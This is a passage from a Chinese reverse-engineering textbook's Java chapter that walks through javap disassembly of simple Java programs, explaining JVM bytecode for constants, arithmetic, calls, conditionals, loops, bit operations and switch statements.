是一切对象的模版,所有方法必定不能脱离“类”而单独存在。但是为了简化起见,本文还是把“方法” 称为“函数”。 public class ret { public static int main(String[] args) { return 0; } } 我们采用命令 javac 来编译它,命令行是: javac ret.java 编译完后,我们可以用 JDK 自带的反汇编器-Javap 来分析字节码,此时采用的命令应当是: javap -c -verbose ret.class 反编译完成后,我们得到的代码如下所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 582 逆向工程权威指南(下册) 指令清单 54.1 JDK 1.7(摘要) public static int main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iconst_0 1: ireturn Java 平台的开发人员认为,0 是用得最多的常量。因此他们为 PUSH 0 的指令单独设计了单字节的指令码, 即 iconst_0。此外还有 iconst_1(将 1 入栈),iconst_2(将 2 入栈)……,一直到 iconst_5 这样的单字节字 节码。而且确实有 iconst_m1(将−1 入栈)这类的将负数推送入栈的单字节指令。 JVM 常常采用栈的方式来传递参数并从函数中返回值。因此语句 iconst_0 将数字 0 压入栈,而指令 ireturn 则是从栈顶返回整型数(ireturn 中的字母 i 的意思就是“返回值为 integer/整数”)。这里 注意我们用 TOS 来代表栈顶,它是英文“Top Of Stack”的首字母缩写。 我们来重新编写一下这个例子,将返回值修改为整数 1234: public class ret { public static int main(String[] args) { return 1234; } } 这样的话,我们得到的结果是如下所示的代码。 指令清单 54.2 JDK1.7(摘要) public static int main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: sipush 1234 3: ireturn 指令 sipush 的功能是将操作数(这里是整数 1234)入栈(si 是 short integer 短型整数的缩写)。Short (短型)的意思就是针对 16 位的数值进行操作,而这里的整数 1234 正好就是一个 16 位的数值。 如果操作数比整型数据更大,那么字节码会是什么情况呢?让我们来看看实例: public class ret { public static int main(String[] args) { return 12345678; } } 指令清单 54.3 常量池 ... #2 = Integer 12345678 ... public static int main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: ldc #2 // int 12345678 2: ireturn JVM 的 opcode 无法直接封装 32 位数据,这是开发环境的局限决定的。像本例这样的 32 位常数将会 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 583 存储到“常量池”里。常量池是一个由数组组成的表,类型为 cp_info constant_pool[],用来存储程序中使 用的各种常量,包括 Class/String/Integer 等各种基本 Java 数据类型,详情参见 The Java Virtual Machine Specification 4.4 节。 并非只有 JVM 如此处理常量。像 MIPS、ARM 以及其他的 RISC 型的 CPU 都不能在 32 位的 opcode 中封装 32 位常量,因此包括 MIPS 和 ARM 在内的 RISC 类型的 CPU 都得分步骤构建这些数值,或者将其 保存在数据段中。有关范例可以参考本书的 28.3 节或者 29.1 节。 在 MIPS 的概念中也有传统意义上的常量池,不过它的名字则叫做“数据缓冲池(文字池)/literal pool”。 这种文字池与可执行程序中的“.lit4/.lit8”数据段相对应。数据段.lit4 用于保存 32 位的单精度浮点常数, 而.lit8 则用于保存 64 位的双精度浮点常数。 我们来试试其他类型的数据。 布尔型 Boolean: public class ret { public static boolean main(String[] args) { return true; } } public static boolean main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iconst_1 1: ireturn 当返回值为 Ture 时,JVM bytecode 层面的返回值就是整数 1。像 C/C++一样,Java 程序同样会把布尔 型数值保存在 32 位的栈中。虽然说“逻辑真”和“整数 1”的数值完全相同,但是我们不可能把布尔值当 作整数值使用、也不可能把整数值当作布尔值使用。既定的类文件事先声明了数值的数据类型,而且这些 数据类型会在程序运行时被实时检查。 16 位的短整数型也是一样: public class ret { public static short main(String[] args) { return 1234; } } public static short main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: sipush 1234 3: ireturn 还有字符型: public class ret { public static char main(String[] args) { return 'A'; } } public static char main(java.lang.String[]); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 584 逆向工程权威指南(下册) flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: bipush 65 2: ireturn 指令 bipush 的意思是 push byte(保存字节)。Java 环境中的 car 型数据是 16 位的 UTF-16 字符,同短 整数型数据一样同属于 16 位 short 型短数据。但是大写字母 A 的 ASCII 码是十进制数 65,而且我们可以 用指令将一个字节的数压入栈中。 下面我们来看看 byte(字节): public class retc { public static byte main(String[] args) { return 123; } } public static byte main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: bipush 123 2: ireturn 也许读者有些疑问:既然这些数据在运行的时候都是当作 32 位整型数据处理的,那么为什么还要不厌 其烦地把它们声明为 16 位的数据类型呢?另外,字符型 char 数据与 short 短整数型的数值也是相同的,为什 么还要刻意地把它声明为字符型 char 数据呢? 答案也很简单,是为了增加数据类型的控制以及增加源代码的可读性。Char 字符型的限定符虽然在数 值上与 short 短型整数相同,但是只要一看到 char 字符型的限定,我们立刻会联想到它是一个 UTF16 的字符集,而不会把它当作其他类型的方式去理解。在遇到被限定符 short 修饰的数据类型时,我们自 然而然地就会把它理解为 16 位数据。同理,应当使用 boolean 声明的数据就不要把它声明为 C 语言风 格的 int 型数据。 我们还可以通过限定符 long 声明 JAVA 的 64 位的整数型数据: public class ret3 { public static long main(String[] args) { return 1234567890123456789L; } } 指令清单 54.4 常量池 ... #2 = Long 1234567890123456789l ... public static long main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: ldc2_w #2 // long 1234567890123456789l 3: lreturn 上述 64 位常量同样位于程序的常量池部分。它被 ldc2_w 指令提取之后,再由 lreturn(long return)指 令回传给调用方函数。ldc2_w 指令也能够从常量池里提取双精度浮点数(同样是 64 位常量)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 585 public class ret { public static double main(String[] args) { return 123.456d; } } 指令清单 54.5 常量池 ... #2 = Double 123.456d ... public static double main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: ldc2_w #2 // double 123.456d 3: dreturn 这里的指令 dreturn 代表 return double,意思是返回双精度常数。 最后,我们举一个单精度浮点数的例子。单精度浮点常数的后面有一个限定符 f,而双精度数的限定 符则是字母 d。字母 f 是 float 的缩写,而 d 则是 double 的缩写。 public class ret { public static float main(String[] args) { return 123.456f; } } 指令清单 54.6 常量池 ... #2 = Float 123.456f ... public static float main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: ldc #2 // float 123.456f 2: freturn 同为从常量池提取 32 位数据的指令,“提取整数”和“提取浮点数”的指令都是 ldc。而指令 freturn 代表的是 return float,声明了返回值为单精度浮点数。 最后,我们来看看如果什么数也不返回时情况会是怎么样的,也就是 return 指令后不带任何参数。 public class ret { public static void main(String[] args) { return; } } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=0, locals=1, args_size=1 0: return 没有返回值的函数,最后只有一条 return 指令。它不返回任何值,只是把程序控制流递交给调用方函 异步社区会员 dearfuture(15918834820) 专享 尊重版权 586 逆向工程权威指南(下册) 数。根据函数最后一条返回值处理指令,我们就能比较容易地推导出函数返回值的数据类型。 54.3 简单的计算函数 我们继续来看看简单的计算函数: public class calc { public static int half(int a) { return a/2; } } 这里我们看到的是一个除以 2 的简单计算函数,用到的指令是 iconst_2。我们来分析一下这几条 指令: public static int half(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: iload_0 1: iconst_2 2: idiv 3: ireturn 首先,iload_0 指令是提取外来的第 0 个函数参数,再把它压入栈中,而 iconst_2 指令则是将数值 2 压入 栈中。这两个指令执行完后,函数栈的存储内容将如下所示: +---+ TOS ->| 2 | +---+ | a | +---+ TOS 是“Top Of Stack”的缩写,即栈顶。 idiv 指令则是从栈顶取出这两个值并进行除非运算,然后把返回的结果保存在栈顶。 +--------+ TOS ->| result | +--------+ ireturn 指令则会提取栈顶的数据、把它作为返回值回传给调用方函数。 下面我们来看看双精度的除法的运算指令: public class calc { public static double half_double(double a) { return a/2.0; } } 指令清单 54.7 常量池 ... #2 = Double 2.0d ... public static double half_double(double); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=2, args_size=1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 587 0: dload_0 1: ldc2_w #2 // double 2.0d 4: ddiv 5: dreturn 双精度浮点数的运算指令和单精度浮点数的指令十分相似。在提取常量时,它使用的指令时 ldc2_w。 此外,所有的三条运算指令(dload_0、ddiv 以及 dreturn)都带有前缀 d,这个限定符表明操作数属于双精 度浮点数 double。 下面我们来看看含有两个参数的函数情况: public class calc { public static int sum(int a, int b) { return a+b; } } public static int sum(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=2 0: iload_0 1: iload_1 2: iadd 3: ireturn 指令 iload_0 用于提取第一个函数参数 a,而 iload_1 则用于导入第二个函数参数 b。在执行完这两条指 令之后,栈内数据如下图所示: +---+ TOS ->| b | +---+ | a | +---+ 而指令 iadd 的含义则是将两个参数中的数值相加,并将结果保存在栈顶 TOS 中。 +--------+ TOS ->| result | +--------+ 如果我们将以上函数的两个参数的数据类型更换成 long 类型的话: public static long lsum(long a, long b) { return a+b; } 我们看到的字节码则会变为: public static long lsum(long, long); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=4, args_size=2 0: lload_0 1: lload_2 2: ladd 3: lreturn 第二条 lload 指令会提取外来的第二个参数。指令后缀直接从 0 递增到 2,是因为 long 型数据是 64 位 的数据,它正好占有两个 32 位数据的存储位置(即后文介绍的“参数槽”)。 下面我们来看看一个更加复杂的例子: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 588 逆向工程权威指南(下册) public class calc { public static int mult_add(int a, int b, int c) { return a*b+c; } } public static int mult_add(int, int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=3, args_size=3 0: iload_0 1: iload_1 2: imul 3: iload_2 4: iadd 5: ireturn 第一步的运算是乘法,乘积的结果存放在栈顶 TOS 中。 +---------+ TOS ->| product | +---------+ 指令 iload_2 将第三个参数压入栈中参加运算: +---------+ TOS ->| c | +---------+ | product | +---------+ 现在就能采用指令 iadd 进行加法求和运算了。 54.4 JVM 的内存模型 前面提到过,在 x86 和其他底层运行平台上,栈通常用于传递参数的参数、存储局部变量。而我们这 里要提到的 JVM 略有不同。 JVM 的内存模型可分为:  局部变量数组(Local Variable Array,LVA)。它用来存储外来的函数参数和局部变量。iload_0 一类指 令的作用是从 LVA 中提取数值,而 istore 则可以将数值保存在 LVA 里。函数会从第 0 个参数槽(不 涉及 this 指针的函数)或第 1 个参数槽(涉及传递 this 指针的函数)依次读取各项外来参数,然 后分配局部变量的存储空间。 每个参数槽(args slot)都是 32 位存储单元,因此,数据类型为 long(长)或者 double(双)的 参数数据都会占用两个参数槽。  操作数栈即俗称的(java)“栈”,用于存储计算操作数,或者向被调用方函数传递参数。Java 程 序不能直接运行于 x86 那样的底层硬件环境,因此它必须通过明确的入栈、出栈指令才能访问自 己的栈,不能像汇编指令那样直接对栈寻址。  堆。堆主要用于存储对象和数组。 以上 3 种内存模型相互独立、互相隔离。 54.5 简单的函数调用 Math.random()函数可以产生从 0.0~1.0 之间的任意(伪)随机数。因此,如欲生成 0.0~0.5 之间的随 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 589 机数,就要对上述结果进行除法运算: public class HalfRandom { public static double f() { return Math.random()/2; } } 指令清单 54.8 常量池 ... #2 = Methodref #18.#19 // java/lang/Math.random:()D #3 = Double 2.0d ... #12 = Utf8 ()D ... #18 = Class #22 // java/lang/Math #19 = NameAndType #23:#12 // random:()D #22 = Utf8 java/lang/Math #23 = Utf8 random public static double f(); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=0, args_size=0 0: invokestatic #2 // Method java/lang/Math.random:()D 3: ldc2_w #3 // double 2.0d 6: ddiv 7: dreturn 指令 invokestatic 调用函数 Math.random(),并将结果保存在栈顶 TOS。这个值随后被除以 2,最终成 为函数返回值。但是这些函数的名称是如何编码的?编译器使用了 Methodref 的表达方法把外部函数的信 息编排在常量池中。常量池里的相应数据声明了与被调用函数有关的类(Class)以及方法(NameAndType) 名称。Methodref 表达式的第一个字段(Fieldref 里的第一个值)是 Class 的索引号-#18,这个索引号(实 际上是指针)对应着一个 Class 名称(依次查询#18、#22 号常量,可得到 java/lang/Math)。Methodref 表 达式的第二个字段(Fieldref 里的第二个值)是方法名称的索引号#19,这个索引号对应着方法名称 NameAndType(依次查询#19、#23 号常量,可得到方法名称 random)。方法名称由 2 个索引号组成, 第一个索引号对应着外部函数名称,而第二个索引号对应着函数返回值的数据类型“()D”——双精度 浮点数。 综合上述信息可知: ① JVM 能检查数据类型的正确性。 ② JAVA 的反编译器能从已经编译好的类文件中恢复出其原来的数据类型。 最后,我们来看一个经典的字符串显示例子:Hello, world! public class HelloWorld { public static void main(String[] args) { System.out.println("Hello, World"); } } 指令清单 54.9 常量池 ... #2 = Fieldref #16.#17 // java/lang/System.out:Ljava/io/PrintStream; #3 = String #18 // Hello, World #4 = Methodref #19.#20 // java/io/PrintStream.println:(Ljava/lang/String;)V 异步社区会员 dearfuture(15918834820) 专享 尊重版权 590 逆向工程权威指南(下册) ... #16 = Class #23 // java/lang/System #17 = NameAndType #24:#25 // out:Ljava/io/PrintStream; #18 = Utf8 Hello, World #19 = Class #26 // java/io/PrintStream #20 = NameAndType #27:#28 // println:(Ljava/lang/String;)V ... #23 = Utf8 java/lang/System #24 = Utf8 out #25 = Utf8 Ljava/io/PrintStream; #26 = Utf8 java/io/PrintStream #27 = Utf8 println #28 = Utf8 (Ljava/lang/String;)V ... public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String Hello, World 5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return 偏移量为 3 的ldc指令从常量池中提取字符串Hello,World的指针,然后将其压入栈中。在Java中,这种 二级指针称为reference(引用),但是它的本质仍然还是指针或者地址 ① 54.6 调用函数 beep()(蜂鸣器) 。 熟悉的指令 invokevirtual 从常量池中提取 println 函数的信息,然后调用该函数。我们已经知道,标准 库定义了许多版本的 println()函数,每个版本都处理的数据类型都各不相同。本例调用的 println()函数,肯 定是专门处理 string 型数据的那个版本。 第一条指令 getstatic 的功能是什么呢?这个指令从对象 System.out 中提取引用指针的有关字段, 再把它压入栈。这个引用指针的作用与 println 方法的 this 指针相似。因此,从内部来讲,println 函 数的输入参数实际上是两个指针:①this 指针,也就是指向对象的指针;②字符串“Hello,World”的 地址。 因此这并不矛盾:只有在 System.out 初始化为实例的时候,才能调用 println()方法。 为了方便分析人员阅读, javap 把有关信息全部追加到了字节码的注释里了。 这是一个最简单的调用(调用了无参数的两个函数),其功能就是发出蜂鸣声 beep: public static void main(String[] args) { java.awt.Toolkit.getDefaultToolkit().beep(); }; public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: invokestatic #2 // Method java/awt/Toolkit.getDefaultToolkit:() Ljava/awt/Toolkit; 3: invokevirtual #3 // Method java/awt/Toolkit.beep:()V 6: return 第一条指令是偏移量为 0 的 invokestatic 指令,它调用了 java.awt.Toolkit.getDefaultToolkit()函数。后者 的返回值是 Toolkit Class 类实例的引用指针。偏移量为 3 的 invokevirtual 指令调用这个类的 beep()函数。 ① 关于常规指针和引用指针的详细区别可以查阅本书的 51.3 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 591 54.7 线性同余随机数产生器(PRNG) 我们再来看看 PRNG(Pseudo Random Numbers Generator)随机数产生器,其实我们已经在本书的第 20 章介绍过它的 C 语言代码了。 public class LCG { public static int rand_state; public void my_srand (int init) { rand_state=init; } public static int RNG_a=1664525; public static int RNG_c=1013904223; public int my_rand () { rand_state=rand_state*RNG_a; rand_state=rand_state+RNG_c; return rand_state & 0x7fff; } } 程序在启动之初就初始化了数个成员变量(Class Fields)。这是如何进行的呢?这就得借助 javap 查看 该类的构造函数: static {}; flags: ACC_STATIC Code: stack=1, locals=0, args_size=0 0: ldc #5 // int 1664525 2: putstatic #3 // Field RNG_a:I 5: ldc #6 // int 1013904223 7: putstatic #4 // Field RNG_c:I 10: return 上述指令展示了变量的初始化过程。变量 RNG_a 和 RNG_c 分别占据参数槽的第三和第四存储单元。 而 putstatic 函数将有关常数存放在相应地址。 函数 my_rand()将输入值保存在变量 rand_state 中: public void my_srand(int); flags: ACC_PUBLIC Code: stack=1, locals=2, args_size=2 0: iload_1 1: putstatic #2 // Field rand_state:I 4: return iload_1 指令提取输入变量,然后将其压入栈中。但是为什么此处是 iload_1 指令而不是读取第 0 个参 数的 iload_0 指令?这是由于该函数调用了类的成员变量,因此要用第 0 个参数传递 this 指针。依此类推, 函数的第二个参数槽用于传递成员变量、同时是隐性参数 rand_state,此后的 putstatic 指令把栈顶的数值肤 之道第二个参数槽、完成指定任务。 现在我们来看看 my_rand()函数: public int my_rand(); flags: ACC_PUBLIC Code: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 592 逆向工程权威指南(下册) stack=2, locals=1, args_size=1 0: getstatic #2 // Field rand_state:I 3: getstatic #3 // Field RNG_a:I 6: imul 7: putstatic #2 // Field rand_state:I 10: getstatic #2 // Field rand_state:I 13: getstatic #4 // Field RNG_c:I 16: iadd 17: putstatic #2 // Field rand_state:I 20: getstatic #2 // Field rand_state:I 23: sipush 32767 26: iand 27: ireturn 这段代码分别提取类实例的各成员变量、进行各种运算,再使用 putstatic 指令更新 rand_state 的值。在 偏移量为 20 处,rand_state 的值会重新调入(此前的 putstatic 指令把它从栈里抛了出去)。虽然表面看来这 个程序的效率很低,但是 JVM 肯定能够进行充分的优化、足以弥补字节码的效率缺陷。 54.8 条件转移 我们来看一个简单的例子: public class abs { public static int abs(int a) { if (a<0) return -a; return a; } } public static int abs(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iload_0 1: ifge 7 4: iload_0 5: ineg 6: ireturn 7: iload_0 8: ireturn 如果栈顶/TOS 的值大于或等于零,那么 ifge 将会跳转到偏移量为 7 的指令。特别需要注意的是,ifxx 指令还会从栈顶抛弃一个值,否则它就不能进行比较运算。 后面的 ineg 指令是对整数求负的运算指令。 我们再看一个例子: public static int min (int a, int b) { if (a>b) return b; return a; } 这个函数的字节码如下所示: public static int min(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 593 stack=2, locals=2, args_size=2 0: iload_0 1: iload_1 2: if_icmple 7 5: iload_1 6: ireturn 7: iload_0 8: ireturn if_icmple 指令从栈中提取(pop)两个数值并将之进行比较。如果第二个操作数小于或等于第一个操 作数,那么它将跳转到偏移量为 7 的指令,否则继续执行下一条指令。 若对上述程序进行调整,通过较大值函数 max()进行比较: public static int max (int a, int b) { if (a>b) return a; return b; } 那么字节码则会变为: public static int max(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=2 0: iload_0 1: iload_1 2: if_icmple 7 5: iload_0 6: ireturn 7: iload_1 8: ireturn 其实与刚才取较小值的程序基本相同,但是最后两个 iload 指令(在偏移量为 5 和 7 的位置上)位置对 换了一下。 下面再看一个更复杂一些的例子: public class cond { public static void f(int i) { if (i<100) System.out.print("<100"); if (i==100) System.out.print("==100"); if (i>100) System.out.print(">100"); if (i==0) System.out.print("==0"); } } public static void f(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: iload_0 1: bipush 100 3: if_icmpge 14 6: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 9: ldc #3 // String <100 11: invokevirtual #4 // Method java/io/PrintStream.print:(Ljava/lang/String;)V 14: iload_0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 594 逆向工程权威指南(下册) 15: bipush 100 17: if_icmpne 28 20: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 23: ldc #5 // String ==100 25: invokevirtual #4 // Method java/io/PrintStream.print:(Ljava/lang/String;)V 28: iload_0 29: bipush 100 31: if_icmple 42 34: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 37: ldc #6 // String >100 39: invokevirtual #4 // Method java/io/PrintStream.print:(Ljava/lang/String;)V 42: iload_0 43: ifne 54 46: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 49: ldc #7 // String ==0 51: invokevirtual #4 // Method java/io/PrintStream.print:(Ljava/lang/String;)V 54: return 这段代码用以实现两个功能。首先,它可以判断输入的数与 100 的大小关系,如果是小于 100 的话, 显示“<100”的字样;如果是等于 100,则显示“=100”的字样;如果是大于 100 的话,则显示“>100” 的字样。另外一个功能是一个特例,就是如果输入的数为 0 的话,则显示“==0”字样。 我们这里还是用到了前面提到的指令 ifXX。还记得其功能吧? 指令 if_icmpge 从栈中提取(pop)出两个值,然后对它们进行比较。如果第二个数大于第一个数的话, 那么就跳转到偏移量为 14 的位置;其实指令 if_icmpne 和指令 if_icmple 的运行机理基本相同,只是其转移 的条件不相同而已。 在偏移量为 43 的位置,我们还可以看到一个指令 ifne。我们认为这是一个措辞不当的助记符,如果 把它的助记符换位 ifnz 似乎更加贴切一些(意思是当栈顶的值不是 0 时跳转),而实际的执行过程也是 这样的—当输入的值不是 0 时,程序会跳转到偏移量为 54 的地方。而如果输入值为 0,程序的执行流则 不会发生跳转、继续执行偏移量为 46 的指令、显示“==0”这个字符串。 必须注意的是:JVM 没有无符号数的数据类型。因此我们只会遇到比较有符号数的比较指令。 54.9 传递参数 我们来将前面讲到的两个取较大值和较小值的函数混合在一起使用,也就是函数 min()和函数 max()。 public class minmax { public static int min (int a, int b) { if (a>b) return b; return a; } public static int max (int a, int b) { if (a>b) return a; return b; } public static void main(String[] args) { int a=123, b=456; int max_value=max(a, b); int min_value=min(a, b); System.out.println(min_value); System.out.println(max_value); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 595 } } 下面是主函数 main()的代码: public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=5, args_size=1 0: bipush 123 2: istore_1 3: sipush 456 6: istore_2 7: iload_1 8: iload_2 9: invokestatic #2 // Method max:(II)I 12: istore_3 13: iload_1 14: iload_2 15: invokestatic #3 // Method min:(II)I 18: istore 4 20: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream; 23: iload 4 25: invokevirtual #5 // Method java/io/PrintStream.println:(I)V 28: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream; 31: iload_3 32: invokevirtual #5 // Method java/io/PrintStream.println:(I)V 35: return 调用方函数通过栈向被调用方函数传递参数,而被调用方函数通过 TOS()/栈顶向调用方函数传递返回值。 54.10 位操作 JVM 的位操作指令和其他指令集的工作原理基本相同。 public static int set (int a, int b) { return a | 1<<b; } public static int clear (int a, int b) { return a & (~(1<<b)); } public static int set(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=2 0: iload_0 1: iconst_1 2: iload_1 3: ishl 4: ior 5: ireturn public static int clear(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=2 0: iload_0 1: iconst_1 2: iload_1 3: ishl 异步社区会员 dearfuture(15918834820) 专享 尊重版权 596 逆向工程权威指南(下册) 4: iconst_m1 5: ixor 6: iand 7: ireturn 指令 iconst_m1 将−1 这个数调入栈中,其实这个值就是 0Xffffffff。将任意数与−1 进行异或 XOR 运算, 其实就是对原操作数的所有位逐位取反(这一点可以参见本书的附录 A.6.2)。 而当我们将所有的数据类型扩展为 64 位的 long 类型时: public static long lset (long a, int b) { return a | 1<<b; } public static long lclear (long a, int b) { return a & (~(1<<b)); } public static long lset(long, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=3, args_size=2 0: lload_0 1: iconst_1 2: iload_2 3: ishl 4: i2l 5: lor 6: lreturn public static long lclear(long, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=3, args_size=2 0: lload_0 1: iconst_1 2: iload_2 3: ishl 4: iconst_m1 5: ixor 6: i2l 7: land 8: lreturn 除了操作指令都具有一个表示操作数是 64 位值的“L”前缀之外,这个程序的字节码和上一个程序几 乎相同。此外,第二个函数的参数还有一个整型数据。假如需要把 int 型的 32 位数据扩展为 64 位 long 型 数据,那么编译器就会分配 i2l 完成这项任务。 54.11 循环 public class Loop { public static void main(String[] args) { for (int i = 1; i <= 10; i++) { System.out.println(i); } } } 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 597 public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=1 0: iconst_1 1: istore_1 2: iload_1 3: bipush 10 5: if_icmpgt 21 8: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 11: iload_1 12: invokevirtual #3 // Method java/io/PrintStream.println:(I)V 15: iinc 1, 1 18: goto 2 21: return 这里举一个例子,显示从 1~10 一共 10 个整型数。采用循环指令的方式。 指令 iconst_1 将数值 1 调入栈顶 TOS,而 istore_1 指令则将局部变量阵列 LVA 中的这项数值存储在第 一个参数槽里。为什么把它存储在 1 号参数槽而不是第 0 个参数槽呢?这是因为主函数 main()有一个参数 是 String 数组,这个字符串的引用指针会占用第 0 号参数槽。 因此,局部变量 i 必须存放于第 1 个参数槽。 在偏移量为 3 和 5 的地方的指令,分别将变量 i 与循环控制变量的上限(这里是 10)比较。如果 此时的变量 i 比 10 大,那么指令流就会转向偏移量为 21 的地方,直接退出函数;否则,程序就会调 用 println()函数显示当前的数值。显示完后,在偏移量为 11 的地方,局部变量 i 会重新装入新的值, 继续为显示方法做准备。另外,在调用 println 方法的时候,我们提供的参数时 integer 型参数。注释中 的“(I)V”分别表示数据类型为 integer,函数类型为 void。 当显示函数 println 结束时,i 的数值在偏移量为 15 的地方递增,也就是加 1。这条指令有两个操作数。 第一个操作数,第一个操作数表示实际运算数存储于第一号参数槽,第二个操作数表示递增的增量是 1。 goto 指令的功能就是跳转/GOTO。它跳转到循环体中偏移量为 2 的地方。 让我们来看一个稍微复杂一些的例子:斐波那契数列,简称为 Fibonacci,其实前面已经提到过了。但 是这里我们来看看如何用程序来实现它。 public class Fibonacci { public static void main(String[] args) { int limit = 20, f = 0, g = 1; for (int i = 1; i <= limit; i++) { f = f + g; g = f - g; System.out.println(f); } } } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=5, args_size=1 0: bipush 20 2: istore_1 3: iconst_0 4: istore_2 5: iconst_1 6: istore_3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 598 逆向工程权威指南(下册) 7: iconst_1 8: istore 4 10: iload 4 12: iload_1 13: if_icmpgt 37 16: iload_2 17: iload_3 18: iadd 19: istore_2 20: iload_2 21: iload_3 22: isub 23: istore_3 24: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 27: iload_2 28: invokevirtual #3 // Method java/io/PrintStream.println:(I)V 31: iinc 4, 1 34: goto 10 37: return 我们来看看本地存储数组(Local Varible Array,LVA)与各参数槽的存储关系: ① 0 号参数槽存储的是主函数 main()的唯一参数; ② 1 号参数槽存储的是循环控制变量 limit,其值固定为 20; ③ 2 号参数槽存储的是变量 f。 ④ 3 号参数槽存储的是变量 g。 ⑤ 4 号参数槽存储的是变量 i。 可见,Java 编译器会按照源代码声明变量的顺序,在 LVA 中依次分配各变量的存储空间。 当直接向第 0、1、2、3 号参数槽存储数据时,可使用专用的 istore_n 指令。然而当直接向 4 及更高编 号的参数槽存储数据时,就没有这样便利的专用操作指令了,需要使用带有参数的 istore 指令。如偏移量 为 8 的指令所示,后一种 istore 指令将操作数当作参数槽的编号进行存储操作。其实 iload 指令也是如此。 本文就不再解释偏移量为 10 的 iload 指令了。 但是,像循环迭代上限 limit 这样的常量也占用了参数槽,难道它还经常更新数值吗?JVM JIT 编译器 能够充分优化这类事务,我们不必专们进行人工干预。 54.12 switch()语句 下列范例证明,switch()语句是由 tableswitch 指令实现的。 public static void f(int a) { switch (a) { case 0: System.out.println("zero"); break; case 1: System.out.println("one\n"); break; case 2: System.out.println("two\n"); break; case 3: System.out.println("three\n"); break; case 4: System.out.println("four\n"); break; default: System.out.println("something unknown\n"); break; }; } 上述程序的字节码与源程序几乎是逐一对应: public static void f(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 599 0: iload_0 1: tableswitch { // 0 to 4 0: 36 1: 47 2: 58 3: 69 4: 80 default: 91 } 36: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 39: ldc #3 // String zero 41: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 44: goto 99 47: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 50: ldc #5 // String one\n 52: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang /String;)V 55: goto 99 58: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 61: ldc #6 // String two\n 63: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 66: goto 99 69: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 72: ldc #7 // String three\n 74: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 77: goto 99 80: getstatic #2 // Field 